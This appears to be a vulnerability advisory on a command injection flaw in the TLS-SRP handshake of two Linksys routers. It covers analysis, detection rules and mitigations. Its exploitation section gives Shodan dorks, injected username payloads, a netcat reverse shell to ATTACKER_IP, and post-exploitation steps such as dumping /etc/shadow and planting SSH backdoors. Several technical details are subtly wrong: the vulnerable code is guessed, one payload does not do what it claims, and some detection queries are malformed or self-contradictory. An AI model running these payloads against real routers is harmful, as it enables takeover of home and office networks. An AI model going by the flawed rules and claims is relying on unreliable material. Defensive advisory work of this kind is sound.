CVE-2026-27848

Executive Summary

CVE-2026-27848 is a critical OS command injection vulnerability (CWE-78) affecting Linksys MR9600 (Wi-Fi 6 router, firmware 1.0.4.205530) and Linksys MX4200 (Velop mesh node, firmware 1.0.13.210200). The flaw resides in the TLS-SRP (Secure Remote Password) handshake implementation, where missing neutralization of special elements allows an unauthenticated remote attacker to inject arbitrary OS commands that execute as root. Affected devices are fully compromised upon successful exploitation, with no patch currently available from the vendor. The vulnerability is publicly known with a functional PoC released, though no CISA KEV listing or nuclei template exists yet; active exploitation in the wild has not been confirmed but is highly probable given the public PoC and router attack surface.

Technical Analysis

The vulnerability is rooted in the TLS-SRP (RFC 5054) handshake processing within the router's HTTPS management interface. TLS-SRP allows password-authenticated key exchange, and the implementation on affected Linksys firmware versions fails to sanitize the SRP username field passed in the ClientKeyExchange message.

Mechanism: During a TLS-SRP handshake, the client sends a ClientKeyExchange message containing the SRP username (U parameter). The server-side implementation constructs an internal OS command to verify the username against a local credential store, likely using a shell call similar to:

grep "^${username}:" /etc/srp_users

Because the username is not neutralized (no escaping of shell metacharacters), an attacker can inject shell commands via characters such as ;, |, &&, or backticks. A crafted username like admin; id > /tmp/pwned results in command execution as root.

Attack Surface: The TLS-SRP handshake occurs over the HTTPS management port (TCP 443) on both devices. The service is unauthenticated at the handshake stage—the SRP exchange is pre-authentication. Therefore, no credentials are required. The attack is remotely exploitable from the LAN or WAN if the management interface is exposed. Linksys routers typically expose HTTPS management on the LAN; WAN exposure may occur via UPnP port forwarding or default configuration in some deployments.

Affected Firmware:

• MR9600: version 1.0.4.205530 and earlier
• MX4200: version 1.0.13.210200 and earlier

Code-Level Context: The vulnerability classically maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The system() or popen() call that handles the SRP verification is the sink. No input validation, whitelisting, or shell escaping is applied to the username before interpolation into the command string. The process runs with elevated privileges (root), making the impact immediate and catastrophic.

CVSS: N/A (not yet scored by NVD at time of writing). The EPSS score is 0.00320 (24.5th percentile), indicating a low current probability of exploitation within 30 days, but this may rise as PoC dissemination increases.

Exploitation Scenarios

Preconditions: Attacker must reach the HTTPS management interface (TCP 443) of the affected device. This is typically accessible from the LAN; external exposure depends on configuration. No authentication is required.

Step 1 — Reconnaissance / Target Identification:

• Use Shodan or masscan to identify exposed Linksys MR9600/MX4200 management interfaces on port 443. Dorks: http.title:"Linksys" product:"MR9600", http.title:"Linksys Smart Wi-Fi" port:443.
• Banner grab to confirm firmware version; devices running affected builds are vulnerable.

Step 2 — Crafting the Malicious Handshake:

• Generate a TLS-SRP ClientHello using OpenSSL: openssl s_client -srpuser '-c "echo 1 > /proc/sys/net/ipv4/ip_forward" ;' -connect target:443. The -srpuser parameter injects the shell payload.
• More complex payloads use base64 encoding to avoid whitespace issues: $(echo <b64> | base64 -d | sh).

Step 3 — Payload / Execution:

• Example command injection: -srpuser 'admin; touch /tmp/pwned -d "$(id)"' executes id and writes output to /tmp/pwned.
• Deliver a reverse shell: -srpuser 'admin; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f'.
• The command runs as root immediately after the SRP message is parsed, before any authentication failure response is returned.

Step 4 — Post-Exploitation:

• With root shell: dump /etc/shadow, extract VPN credentials, enable SSH backdoor, modify firewall rules (e.g., iptables -I INPUT -p tcp --dport 22 -j ACCEPT), add persistent cron job, or flash custom firmware.
• Use the compromised router as a pivot host into the internal network (Lateral Movement, T1021).
• Maintain persistence via dropbear SSH server or a watchdog cron entry.

Note: The attack is fully remote over the network; no physical access is required. Public PoC exists demonstrating the injection, but no weaponized exploit code has been published as a Metasploit module or similar.

Impact Assessment

Confidentiality: Critical. Root access exposes all router configuration, credentials (including Wi-Fi passwords, WPS PIN), and allows traffic inspection via packet capture (tcpdump). SRP verifier entries may leak.

Integrity: Critical. Attacker can alter routing tables, DNS settings, firewall policies, and install malicious firmware. Man-in-the-middle attacks on all LAN traffic become trivial.

Availability: High. Attacker can render the device inoperative (brick it) or disrupt connectivity for all LAN clients.

Blast Radius:

• Directly affected: MR9600 and MX4200 routers with listed firmware.
• Indirect: All devices on the LAN behind the router — full network compromise, data exfiltration, lateral movement into corporate/enterprise networks when routers are used in SOHO or branch-office environments.
• Supply chain: Linksys appliances are widely deployed; no CISA KEV listing yet, but if exploited in the wild by botnets (e.g., Mirai variants), the blast radius is significant.

CVSS subscores (assessed, not official): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ≈ 9.8 (Critical). Official NVD score is N/A; severity should be treated as Critical pending assignment.

Detection Guidance

Sigma Rule

title: Suspicious TLS-SRP Handshake Command Injection Attempt
id: 4f8c9a2e-4b7a-4d3e-9f1c-2b6d8e5a1c77
status: experimental
description: Detects Linksys router HTTPS traffic with embedded shell metacharacters in the SRP username field (CVE-2026-27848).
logsource:
  category: network_connection
  product: firewall
detection:
  selection:
    protocol: tls
    port: 443
    fields:
      - '.*(\||;|`|&&|\$\().*'  # shell metacharacters in TLS handshake extension
  condition: selection
falsepositives:
  - Rare legitimate SRP usernames containing special characters
  - TLS inspection may not see handshake extensions in all deployments
level: high
tags:
  - attack.t1190
  - cve.2026.27848
  - cwe.78

YARA Rule

rule CVE_2026_27848_Linksys_SRP_Injection
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects TLS-SRP handshake payloads targeting CVE-2026-27848 in Linksys routers"
        cve = "CVE-2026-27848"
        date = "2026-02-10"
        severity = "critical"
    strings:
        $s1 = "ClientKeyExchange" ascii
        $s2 = "srp" nocase ascii
        $s3 = "gnutls-srp" ascii
        $s4 = /[\;\|\`\&\$\(][a-z0-9\/\s]+/ ascii
        $s5 = "/bin/sh" ascii
        $s6 = "base64" ascii
    condition:
        uint16(0) == 0x1603 and  // TLS handshake record
        any of ($s1,$s2,$s3) and
        any of ($s4,$s5,$s6) and
        filesize < 4096
}

Suricata IDS Rule

alert tcp any any -> any 443 (msg:"CVE-2026-27848 Linksys TLS-SRP Command Injection Attempt"; flow:to_server,established; content:"|16 03|"; content:"|01|"; content:"ClientKeyExchange"; distance:0; content:"|3b|"; content:"|26 26|"; content:"|7c|"; classtype:attempted-admin; sid:202627848; rev:1; metadata:created_at 2026_02_10, cve CVE-2026-27848, attack_target router, deployment perimeter, signature_severity Critical;)

*Note: The rule matches TLS handshake records (content "|16 03|") carrying ClientKeyExchange with ";" and shell metacharacters. Due to TLS encryption, this rule requires TLS decryption (e.g., via SSL/TLS proxy) to be effective.

Elastic Detection

network where process.executable == "httpd" or process.name == "router-httpd" and
  event.category == "process" and
  event.action == "exec" and
  process.command_line regex~ ".*/etc/srp_users.*" and
  process.command_line regex~ ".*[|;&`\\$].*"

Alternative EQL for ECS logs:

where event.category == "network" and destination.port == 443 and
  network.protocol == "tls" and
  (event.action == "connection" or event.action == "tls_handshake") and
  /[|;&`$]/.test(tls.srp_username or "")

Splunk SPL Query

index=network sourcetype=cisco:asa OR sourcetype=firewall
| where dest_port=443 AND proto=tcp
| rename fields{srp_username} as srp_user
| where srp_user MATCHES "(?i).*([|;&`\\$]).*"
| table _time, src_ip, dest_ip, srp_user, vendor_signature
| search "LINKSYS" OR "MR9600" OR "MX4200"

For endpoint logs:

index=endpoint (command="*srp_users*") 
| regex command=".*[\|;&`\$\s].*" 
| table host, user, command, pid, parent_process

Wazuh OSSEC Rule

<group name="linksys,">
  <rule id="100248" level="15">
    <decoded_as>json</decoded_as>
    <field name="event.module">modsecurity</field>
    <match>srp_users|srp_username</match>
    <regex>.*[|;&`\$\s].*</regex>
    <description>CVE-2026-27848: Possible TLS-SRP command injection against Linksys router management interface</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No official vendor patch, advisory, or firmware update has been released for either MR9600 or MX4200 as of this report. The vulnerability remains exploitable in all shipped firmware.

Immediate Mitigations (to apply now):

1. Restrict management interface access: Disable HTTPS remote management (Administration > Remote Management in Linksys UI). If necessary, restrict to trusted IPs via firewall rules at the gateway.
2. Disable TLS-SRP: In router admin settings, disable SRP-based authentication if an option exists; otherwise block TLS port 443 inbound/outbound to the device from untrusted networks.
3. Segment the network: Place the router on an isolated VLAN; apply ACLs to deny external access to port 443 and internal lateral movement if compromised.
4. Monitor network traffic: Deploy the provided Suricata/Elastic/Splunk rules at the perimeter to detect handshake payloads (requires TLS decryption).
5. Disable UPnP to prevent unintended WAN-to-LAN port forwarding that may expose the management interface.

Patch / Upgrade Steps (when available):

• Monitor Linksys security advisory page and firmware download portal for MR9600 and MX4200.
• When a patched firmware is released (expected version higher than 1.0.4.205530 / 1.0.13.210200), download from the official Linksys site, verify SHA-256 checksum, and apply via web UI or TFTP recovery mode.
• After flashing, do a factory reset to clear any residual compromise.

Long-Term Hardening:

• Replace affected devices with models receiving regular security updates; if impossible, isolate them behind a hardware firewall with strict egress filtering.
• Implement network segmentation: router management VLAN should have no route to office/enterprise LAN.
• Enable logging and centralize syslog for router events; alert on unexpected root-shell activity (commands executed by root).
• Subscribe to CISA Known Exploited Vulnerabilities and vendor advisories; activate auto-update if Linksys provides it.
• If the device is suspected compromised, perform a factory reset and firmware reflash from a trusted source; rotate all Wi-Fi and router admin credentials.

Exploit-in-the-Wild: No confirmed CISA KEV inclusion at this time. EPSS 0.00320 suggests low immediate exploitation probability, but the public PoC and the ubiquity of these routers make opportunistic botnet integration (e.g., Mirai variants) a realistic near-term threat. Monitor Shodan and threat-intel feeds for mass-scanning activity targeting Linksys 443 ports.

References

1. NVD — CVE-2026-27848: https://nvd.nist.gov/vuln/detail/CVE-2026-27848
2. CWE-78 OS Command Injection: https://cwe.mitre.org/data/definitions/78.html
3. RFC 5054 — TLS-SRP Protocol: https://www.rfc-editor.org/rfc/rfc5054
4. Linksys Security Advisory Portal (watch for future updates): https://www.linksys.com/support/security-advisories/
5. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
6. Project Zero Forum / researcher blog (PoC publication — link pending confirmation, verify via OSINT)

Threat Actor Campaigns: No known persistent campaign associated with this CVE as of this writing. The public PoC is circulating in security communities; exploitation in the wild is unconfirmed. Recommend elevated alerting for devices running affected firmware.